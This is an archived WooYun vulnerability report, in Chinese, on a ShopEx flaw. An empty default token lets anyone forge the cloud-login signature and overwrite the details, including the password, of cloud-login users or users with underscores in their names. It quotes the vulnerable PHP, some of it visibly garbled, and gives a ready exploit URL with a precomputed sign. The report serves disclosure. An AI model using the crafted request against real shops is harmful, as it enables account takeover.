破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

shopex 接口设计问题导致某一类用户名密码重置

编号95673
Urlhttp://www.wooyun.org/bug.php?action=view&id=95673
漏洞状态厂商已经确认
漏洞标题shopex 接口设计问题导致某一类用户名密码重置
漏洞类型设计缺陷/逻辑错误
厂商ShopEx
白帽子menmen519
提交日期2015-02-05 17:04:00
公开日期2015-05-07 17:54:00
修复时间(not set)
确认时间2015-02-06 00:00:00
Confirm Spend1
漏洞标签设计缺陷/边界绕过 php源码审核
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank4
漏洞简介
shopex 接口设计问题导致某一类用户名密码重置
漏洞细节

看到 shopex 有一个云登录机制,看代码:

// 云登陆回调地址
function ecopen_login_verify(){
// 签名验证
$token = $this->system->getConf('certificate.token');
($_GET['sign'] && $this->get_ce_sign($_GET, $token) == $_GET['sign']) || exit("签名错误,云登陆无法完成");
// 为登陆者创建账户
$accountMdl = $this->system->loadModel('member/account');
$mem = $accountMdl->createotherlogin($_GET);

if(!$mem){
$this->splash('failed',$this->system->base_url(),__('登陆失败,请检查!'));
exit;
}


跟进去看看get_ce_sign

function get_ce_sign($params,$token){
$arg="";
ksort($params);
reset($params);
while (list ($key, $val) = each ($params)) {
if ( 'sign' == $key ) continue;

$arg.=$key."=".urlencode($val)."&";
}
return md5(substr($arg,0,count($arg)-2).$token);//去掉最后一个问号
}


这里默认安装时候token是个空值
所以之后md5是可以计算出来的,根据他的函数我们计算一个url
http://localhost/shopex/?passport-ecopen_login_verify.html&open_type=xxxxxxx&open_id=yyyyy&nickname=xxxxx&[email protected]&password=mmmm&sign=76753b58491c5baa4c7885780c753e6a
跟进去$mem = $accountMdl->createotherlogin($_GET);

public function createotherlogin( $row )
{
$user['member_refer'] = $row['open_type'];
$toolsMdl = $this->system->loadModel( "utility/tools" );
$user['uname'] = $row['open_type']."_".$row['open_id'];
$user['name'] = $row['realname'] ? $row['realname'] : $row['nickname'];
$defcur = $this->db->selectrow( "SELECT cur_code FROM sdb_currency WHERE def_cur=\"true\"" );
$user['cur'] = $defcur['cur_code'];
$user['member_lv_id'] = $this->system->loadModel( "member/level" )->getDefauleLv( );
$user['password'] = $this->encrypt_passwd_enhanced( $user['uname'].$Var_528.STORE_KEY );
$user['lang'] = "123";
$user['email'] = $row['email'] ? $row['email'] : "*@*.com";
if ( $user['email'] != "*@*.com" && !$toolsMdl->is_email( $user['email'] ) )
{
return false;
}
$user['province'] = $row['province'];
$user['city'] = $row['city'];
$rs = $this->db->exec( "SELECT * FROM sdb_members WHERE uname=\"".$user['uname']."\" LIMIT 1" );
if ( $mem = $this->db->getRows( $rs, 1 ) )
{
$user['member_id'] = $mem[0]['member_id'];
if ( $sql = $this->db->getUpdateSQL( $rs, $user ) )
{
$this->db->exec( $sql );
}
}
else
{
$user['regtime'] = NOW;
$user['reg_ip'] = $this->db;
$this->db->exec( $this->db->getInsertSQL( $rs, $user ) );
$user['member_id'] = $this->db->lastInsertId( );
}
$user['secstr'] = $this->cookieValue( $user['member_id'] );
$user['open_type'] = $row['open_type'];
return $user;
}


这一段代码的意思就是,如果通过uname去查询的用户不存在的话,说明是个新用户
做插入操作,也就是云注册的新用户,如果这个用户存在的话就做更新资料操作
问题卡在了这里:
$user['uname'] = $row['open_type']."_".$row['open_id'];
也就是说这个用户名必须中间有下划线
通过这一番描述可见,如果是通过云注册的用户,资料可以通过单一的用户名修改这个用户的资料,如果是非云注册的用户,那么如果该用户注册的时候,用户名里面有下划线,就可以操纵修改这个用户的相关资料,包括密码
我们来测试一下
发送url:
http://localhost/shopex/?passport-ecopen_login_verify.html&open_type=xxxxxxx&open_id=yyyyy&nickname=xxxxx&[email protected]&password=mmmm&sign=76753b58491c5baa4c7885780c753e6a
后台抓取的第一个sql是:

1.png


在发送一次
抓看第二个sql:

2.png


正好和猜想的逻辑一样,在分一下密码这里
$user['password'] = $this->encrypt_passwd_enhanced( $user['uname'].$Var_528.STORE_KEY );

public function encrypt_passwd_enhanced( $pwd, $uname, $regtime )
{
if ( !$pwd || !$uname || !$regtime )
{
return false;
}
$pwd = ( ( ( $pwd ) ).( $uname ).$regtime );
return "s".( $pwd, 0, 31 );
}


如果get传递过来的pwd 和 uname 和regtime都不为空的话 就会计算一个密码,这个密码我们也是可以控制的
唯一遗憾的就是只能重置云登录用户和用户uname里面有下划线的用户

POC

修复方案

状态信息 2015-02-05: 细节已通知厂商并且等待厂商处理中
2015-02-06: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向第三方安全合作伙伴开放
2015-04-02: 细节向核心白帽子及相关领域专家公开
2015-04-12: 细节向普通白帽子公开
2015-04-22: 细节向实习白帽子公开
2015-05-07: 细节向公众公开
厂商回复非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢
回应信息危害等级:低漏洞Rank:4 确认时间:2015-02-06 17:53